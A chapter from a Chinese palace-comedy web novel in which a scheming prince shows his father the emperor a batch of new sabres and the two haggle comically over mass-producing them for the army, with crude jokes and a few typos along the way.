“行了,进去吧。”许平最讨厌的就是太监这种生物,跟他们生活久了肯定会不举的,以后老子当皇帝肯定把你们这些东西都赶到一边去,后宫里全弄上清一色的小宫女多好啊,非得一天面对这帮阴阳怪气的妖怪,靠。
见许平的语气不太好,胖太监也不敢多说,引着许平到了门前后站在旁边小心翼翼的说:“太子爷,万岁爷在里面。下人都赶出来了,咱当奴才的就送到这了。”
“知道了!”许平淡淡的说了一句,已经准备好又得来一场谈判了,真是让人蛋疼呀!还得替那倒霉舅舅说一点好话,这样的人才必须留在自己手里才行。
推开大门后,见朱允文果然是满脸的阴森,隐隐可以看见他头上在冒烟,穿着龙袍坐在书桌上看着奏折,见这个荒唐的儿子进来以后,把奏折丢到一边,狠狠的拍了一下桌子,咬牙切齿的骂了起来:“你这个小兔患子还敢来,昨天的事老子还没气完,你今天居然疯到和一帮打铁的混在一起干那些丢脸的活。本来你舅舅就已经够让人头疼了,你现在还跟着他疯,是不是想把我气死。”
许平也没受什么影响,无视他这暴跳如雷的表现。将门关上后依然笑呵呵的坐到了桌子上,自己倒了一杯水喝了起来,喝完后摇了摇头叹息着说:“哎,本来我这孝顺儿子是来和您谈一笔生意的,不过看现在的样子,送好处还没人要。伤心了。”
“少废话,你这铁公鸡能有什么好处给我。”朱允文虽然嘴上这么说着,但许平观察到他也是两眼稍微亮了一下。走到了桌子边后脸上依然是那种满是怒火的表情,不过却是疑惑的盯着许平手上的布包。
“天理何在啊,您刚剥削了我那么多银子,现在就翻脸不懧人。我这上哪说理去啊。”许平说着的时候满脸都是委屈,就差没挤点眼泪来加强表演效果了。
朱允文强忍怒火,上下看了儿子几眼,依然是这么的无耻,不用怀疑绝对是老朱家最好的基因打造出来的。一想到有好处,这时候也是稍微的熄了火,闷声问:“臭小子,你要是敢骗我的话,老子把你的什么商部、天工部全给你查抄了。”
“嘿嘿,我哪会骗您啊!就我这么诚实的人,您太不相信我的人品了。”许平一边说着,一边将手上的布包放在桌子上,在朱允文贪婪的眼光下慢慢的解开,露出了里面两把还有些粗糙的唐刀。
见只是两把普通的兵器,朱允文马上恨得咬牙切齿的看着许平,大有不说个明白直接把你吃了的感觉。
许平也不多说,拿起其中一把后站到了烛台前,有些志怎的深吸了一口气。手一挥,将足有半匣米厚的铜条横刀切成了两半。金属掉地的清脆声音响起后拿刀一看,只有一点点卷刀和一个小缺口而已,满意的笑了笑说:“老爹,这刀不赖吧!”
“你来就是为了给我看这个!”朱允文满面的阴森,咬着牙脸都有些抽筋了,看样子已经快发作了。
许平没理他,慢悠悠的说:“这种金属铸造的刀比起铜和铁都硬了很多,可以直接劈开敌人身上薄薄的铁皮和皮甲,要是用在战场上的话,起码能把战士们的战斗力提高一个档次。”
朱允文拿起桌上的另一把左右看了一会,还是看不出有什么神兵利器的感觉,不过上面的寒光倒是挺吓人的,但怎么看都没什么新奇的地方。
“哼……?”朱允文不屑的冷哼了一声,将刀丢到了一边去。
“靠,怎么样你给个话!”许平见朱允文没什么震惊,顿时就感觉很是不爽。
朱允文坐回椅子上语气有点不屑的说:“宫里有不少的宝剑都比它好,这种东西如果没办法做到全军起码有十分之一人用得上的话根本就没什么作用,官位高一点的将领们用的兵器都和它不相上下,也没什么值得大惊小怪的。”
“都怪我,忘了和你说,过一段时间我组军队,战士们都全用这一类的兵器。”许平强忍不快,语气漫不经心的说道。确实宫里有不少精心打造的兵器也不差,造办处打造的兵器也算是很好,不过工程复杂,再加上纯手工打造,所以这些吹毛断发的刀剑也算是稀少。
“这东西能大量生产?”朱允文立刻就两眼放出了绿光。
“大量算不上,不过在本人的努力下数量也不会很少的。起码我的御林军得保证是人手一把,不好意思,献丑了。”许平这时候才满脸的得意,撇了撇嘴后没去理他。
“我就知道我儿子肯定是为了办这事才那么废寝忘食,真是好儿子啊。”朱允文马上用连自己都不相信的速度,换上了一副慈祥的嘴脸,拍着许平的肩膀,赞赏着说道。
“得,我来就是告诉您老!现在说完了,我该回去了。”许平说完作势要站了起来,但马上又被朱允文按了回去。
“好儿子,你看你要是军队都人手一把,那老爹这禁军都没有不是显得有些穷酸了吗?也给我来一批吧,不多,我只要三万把就行了。”朱允文脸上满是奸笑的说道。
“靠,你抢劫啊!我自己都没有把握能弄出那么多你开口就这么狠,到时候想让我军队拿木棍打仗啊,再说了,外公那老家伙知道这事肯定也会找上门,到时候我不得被你们剥削光啊,无耻啊,真是无耻啊!”
许平指着朱允文痛心疾首的说道,有点后悔和他说这事了,早知道硬着头皮挨一顿骂,就不用出这么大的血了。
“我告诉你,给也得给,不给也得给!上--朱允文半点都不退让,这刀虽然比不上什么绝世宝剑力。,但按这锋利的程度,要是能人手把的话也能大大的提高军队的战斗
而且这时候士兵大多都是藤钟或者是一层薄薄的铁皮就算是不错了,如果能人手一把的话,那军队的战斗力何止上升一个档次,简直就是瞬间变成虎狼之师了。
许平眼珠子马上转了起来,这次老爹看来是狠下心要捞自己一票了。脑子里灵光一闪说道:“但我得回去看看批量生产该怎么做才能达到最快,再核算一下成本,咱们熟归熟,还是得明算帐。到时候我又得找工人,又得建厂房,还得搞运输什么的,成本可是很大的。”
朱允文这时候倒是爽快,拍着胸脯说:“没问题,有什么困难你尽管找我,老爹绝对支持你。”
许平也做出一副父慈子孝的样子:“嗯,能生产上来的时候,第一时间派人通知你。”
不过这时候两人的心里都在打着另一副算盘。
朱允文嘴上笑着,心想:臭小子,我现在都穷成这样了,哪还有银子给你,到时候最多给你打个白条。
许平也好不到哪去,皮笑脸不笑的计算着:估计你这老家伙这么爽快肯定没好事,想赊的话没门。到时候把你宫里的那些好东西都搬出来顶帐。
父子俩都自以为特别圆满的大笑着互相恭维起来,什么经商天才,什么一代明君之类的不绝于耳。两人都是无耻的一伙,对这样明显的马屁没半点反感,要是别的人在场的话,别说什么隔夜饭了,就连满月喝的奶都得吐个一干二净。
“刀留在你这,我走了。老娘那边你负责帮我搞定!”许平打了个招呼后就马上要开溜了,自己还一堆子破事没解决呢。
“有什么好处再来找我。”朱允文无耻的喊着,一脸慈爱的微笑。
“好,没问题。”许平高声答道,心里盘算着是不是该去泰国买几个人妖来进贡给老爹,这老不死的太无耻了,每次一见面就要敲自己一笔,要不是看在这些以后是老子的遗产分上,早和你拚命了。